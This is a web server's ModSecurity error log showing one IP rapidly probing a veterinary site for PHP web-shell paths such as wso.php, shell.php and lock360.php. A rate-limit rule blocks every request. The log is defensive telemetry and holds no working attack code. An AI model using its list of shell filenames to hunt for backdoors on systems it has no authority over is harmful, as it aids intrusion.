[Wed Dec 17 04:22:39.978208 2025] [:error] [pid 34427:tid 34517] [client 13.74.149.244:6283] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG_jw2vx_KIcvPat8BZ-wAAAJM"]
[Wed Dec 17 04:22:40.478050 2025] [:error] [pid 34427:tid 34508] [client 13.74.149.244:8174] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG_kA2vx_KIcvPat8BZ_QAAAIo"]
[Wed Dec 17 04:22:40.976876 2025] [:error] [pid 34425:tid 34435] [client 13.74.149.244:2139] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUG_kHYomI61qeXluxnOJQAAAAA"]
[Wed Dec 17 04:22:41.475249 2025] [:error] [pid 34530:tid 34552] [client 13.74.149.244:15523] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUG_kQI6Bygs2oJsrN0IKQAAANQ"]
[Wed Dec 17 04:22:41.973522 2025] [:error] [pid 34427:tid 34510] [client 13.74.149.244:7495] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUG_kQ2vx_KIcvPat8BaAQAAAIw"]
[Wed Dec 17 04:22:42.472061 2025] [:error] [pid 34427:tid 34499] [client 13.74.149.244:3625] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUG_kg2vx_KIcvPat8BaAwAAAIE"]
[Wed Dec 17 04:22:42.972780 2025] [:error] [pid 34530:tid 34555] [client 13.74.149.244:2153] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aUG_kgI6Bygs2oJsrN0ILgAAANc"]
[Wed Dec 17 04:22:43.471890 2025] [:error] [pid 34425:tid 34447] [client 13.74.149.244:15510] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aUG_k3YomI61qeXluxnOKgAAAAw"]
[Wed Dec 17 04:22:43.972238 2025] [:error] [pid 34425:tid 34451] [client 13.74.149.244:6831] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aUG_k3YomI61qeXluxnOLAAAABA"]
[Wed Dec 17 04:22:44.472068 2025] [:error] [pid 34427:tid 34517] [client 13.74.149.244:4560] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aUG_lA2vx_KIcvPat8BaCgAAAJM"]
[Wed Dec 17 04:22:44.971984 2025] [:error] [pid 34427:tid 34515] [client 13.74.149.244:3424] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aUG_lA2vx_KIcvPat8BaCwAAAJE"]
[Wed Dec 17 04:22:45.472930 2025] [:error] [pid 34530:tid 34553] [client 13.74.149.244:11162] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoha.php"] [unique_id "aUG_lQI6Bygs2oJsrN0IMwAAANU"]
[Wed Dec 17 04:22:45.972915 2025] [:error] [pid 34427:tid 34516] [client 13.74.149.244:8182] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoha.php"] [unique_id "aUG_lQ2vx_KIcvPat8BaDwAAAJI"]
[Wed Dec 17 04:22:46.473497 2025] [:error] [pid 34425:tid 34446] [client 13.74.149.244:3455] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoha.php"] [unique_id "aUG_lnYomI61qeXluxnOOwAAAAs"]
[Wed Dec 17 04:22:46.973980 2025] [:error] [pid 34425:tid 34459] [client 13.74.149.244:3606] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shoha.php"] [unique_id "aUG_lnYomI61qeXluxnOPQAAABg"]
[Wed Dec 17 04:22:47.474589 2025] [:error] [pid 34530:tid 34547] [client 13.74.149.244:7825] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG_lwI6Bygs2oJsrN0IOAAAAM8"]
[Wed Dec 17 04:22:47.972926 2025] [:error] [pid 34427:tid 34515] [client 13.74.149.244:5410] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG_lw2vx_KIcvPat8BaFwAAAJE"]
[Wed Dec 17 04:22:48.469448 2025] [:error] [pid 34425:tid 34450] [client 13.74.149.244:3618] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG_mHYomI61qeXluxnOPwAAAA8"]
[Wed Dec 17 04:22:48.967245 2025] [:error] [pid 34425:tid 34445] [client 13.74.149.244:11172] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUG_mHYomI61qeXluxnOQgAAAAo"]
[Wed Dec 17 04:22:49.468066 2025] [:error] [pid 34426:tid 34473] [client 13.74.149.244:11636] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aUG_maQO2ouZ9o0DVKtIiQAAAEI"]
[Wed Dec 17 04:22:49.965703 2025] [:error] [pid 34426:tid 34481] [client 13.74.149.244:12587] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aUG_maQO2ouZ9o0DVKtIjAAAAEo"]
[Wed Dec 17 04:22:50.466601 2025] [:error] [pid 34425:tid 34458] [client 13.74.149.244:3640] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aUG_mnYomI61qeXluxnORQAAABc"]
[Wed Dec 17 04:22:50.964658 2025] [:error] [pid 34427:tid 34501] [client 13.74.149.244:12574] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "aUG_mg2vx_KIcvPat8BaGwAAAIM"]
[Wed Dec 17 04:22:51.462784 2025] [:error] [pid 34530:tid 34553] [client 13.74.149.244:11455] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUG_mwI6Bygs2oJsrN0IQgAAANU"]
[Wed Dec 17 04:22:51.962085 2025] [:error] [pid 34425:tid 34454] [client 13.74.149.244:3593] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUG_m3YomI61qeXluxnORgAAABM"]
[Wed Dec 17 04:22:52.461158 2025] [:error] [pid 34530:tid 34538] [client 13.74.149.244:3644] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUG_nAI6Bygs2oJsrN0IRwAAAMY"]
[Wed Dec 17 04:22:52.959591 2025] [:error] [pid 34425:tid 34436] [client 13.74.149.244:5412] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUG_nHYomI61qeXluxnOSAAAAAE"]
[Wed Dec 17 04:22:53.458838 2025] [:error] [pid 34425:tid 34437] [client 13.74.149.244:1260] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUG_nXYomI61qeXluxnOSgAAAAI"]
[Wed Dec 17 04:22:53.958288 2025] [:error] [pid 34530:tid 34539] [client 13.74.149.244:8141] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUG_nQI6Bygs2oJsrN0ITgAAAMc"]
[Wed Dec 17 04:22:54.459000 2025] [:error] [pid 34426:tid 34476] [client 13.74.149.244:5663] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUG_nqQO2ouZ9o0DVKtIkAAAAEU"]
[Wed Dec 17 04:22:54.958245 2025] [:error] [pid 34530:tid 34556] [client 13.74.149.244:10728] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUG_ngI6Bygs2oJsrN0IUgAAANg"]
[Wed Dec 17 04:22:55.458446 2025] [:error] [pid 34425:tid 34457] [client 13.74.149.244:3400] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUG_n3YomI61qeXluxnOUAAAABY"]
[Wed Dec 17 04:22:55.959466 2025] [:error] [pid 34426:tid 34472] [client 13.74.149.244:6774] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUG_n6QO2ouZ9o0DVKtIlgAAAEE"]
[Wed Dec 17 04:22:56.458830 2025] [:error] [pid 34530:tid 34543] [client 13.74.149.244:7847] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUG_oAI6Bygs2oJsrN0IVgAAAMs"]
[Wed Dec 17 04:22:56.956763 2025] [:error] [pid 34426:tid 34481] [client 13.74.149.244:15501] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUG_oKQO2ouZ9o0DVKtImwAAAEo"]
[Wed Dec 17 04:22:57.455774 2025] [:error] [pid 34425:tid 34449] [client 13.74.149.244:14597] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUG_oXYomI61qeXluxnOVAAAAA4"]
[Wed Dec 17 04:22:57.955282 2025] [:error] [pid 34530:tid 34554] [client 13.74.149.244:13954] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUG_oQI6Bygs2oJsrN0IYgAAANY"]
[Wed Dec 17 04:22:58.455699 2025] [:error] [pid 34426:tid 34483] [client 13.74.149.244:5695] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUG_oqQO2ouZ9o0DVKtIoAAAAEw"]
[Wed Dec 17 04:22:58.956078 2025] [:error] [pid 34426:tid 34485] [client 13.74.149.244:14615] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUG_oqQO2ouZ9o0DVKtIogAAAE4"]
[Wed Dec 17 04:22:59.457820 2025] [:error] [pid 34426:tid 34486] [client 13.74.149.244:1255] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUG_o6QO2ouZ9o0DVKtIowAAAE8"]
[Wed Dec 17 04:22:59.957001 2025] [:error] [pid 34425:tid 34445] [client 13.74.149.244:15491] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUG_o3YomI61qeXluxnOWwAAAAo"]
[Wed Dec 17 04:23:00.455526 2025] [:error] [pid 34426:tid 34473] [client 13.74.149.244:6878] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUG_pKQO2ouZ9o0DVKtIpwAAAEI"]
[Wed Dec 17 04:23:00.955025 2025] [:error] [pid 34425:tid 34452] [client 13.74.149.244:3607] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aUG_pHYomI61qeXluxnOYQAAABE"]
[Wed Dec 17 04:23:01.455015 2025] [:error] [pid 34425:tid 34453] [client 13.74.149.244:5635] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUG_pXYomI61qeXluxnOYgAAABI"]
[Wed Dec 17 04:23:01.954776 2025] [:error] [pid 34427:tid 34503] [client 13.74.149.244:1233] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUG_pQ2vx_KIcvPat8BaIgAAAIU"]
[Wed Dec 17 04:23:02.454355 2025] [:error] [pid 34425:tid 34451] [client 13.74.149.244:6757] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUG_pnYomI61qeXluxnOYwAAABA"]
[Wed Dec 17 04:23:02.953224 2025] [:error] [pid 34425:tid 34444] [client 13.74.149.244:5438] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUG_pnYomI61qeXluxnOZAAAAAk"]
[Wed Dec 17 04:23:03.450842 2025] [:error] [pid 34425:tid 34439] [client 13.74.149.244:13955] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUG_p3YomI61qeXluxnOZQAAAAQ"]
[Wed Dec 17 04:23:03.948609 2025] [:error] [pid 34426:tid 34480] [client 13.74.149.244:12567] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUG_p6QO2ouZ9o0DVKtIrgAAAEk"]
[Wed Dec 17 04:23:04.468213 2025] [:error] [pid 34425:tid 34447] [client 13.74.149.244:7533] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUG_qHYomI61qeXluxnOaAAAAAw"]
[Wed Dec 17 04:23:04.975939 2025] [:error] [pid 34530:tid 34550] [client 13.74.149.244:10833] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUG_qAI6Bygs2oJsrN0IcwAAANI"]
[Wed Dec 17 04:23:05.480437 2025] [:error] [pid 34530:tid 34536] [client 13.74.149.244:12669] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUG_qQI6Bygs2oJsrN0IdQAAAMQ"]
[Wed Dec 17 04:23:05.979678 2025] [:error] [pid 34426:tid 34490] [client 13.74.149.244:10843] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUG_qaQO2ouZ9o0DVKtIswAAAFM"]
[Wed Dec 17 04:23:06.481281 2025] [:error] [pid 34425:tid 34453] [client 13.74.149.244:11448] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUG_qnYomI61qeXluxnObAAAABI"]
[Wed Dec 17 04:23:06.980462 2025] [:error] [pid 34425:tid 34444] [client 13.74.149.244:12559] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxin.php"] [unique_id "aUG_qnYomI61qeXluxnObQAAAAk"]
[Wed Dec 17 04:23:07.484315 2025] [:error] [pid 34426:tid 34491] [client 13.74.149.244:10722] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUG_q6QO2ouZ9o0DVKtIuAAAAFQ"]
[Wed Dec 17 04:23:07.991104 2025] [:error] [pid 34427:tid 34510] [client 13.74.149.244:4335] [client 13.74.149.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass.php"] [unique_id "aUG_qw2vx_KIcvPat8BaJwAAAIw"]
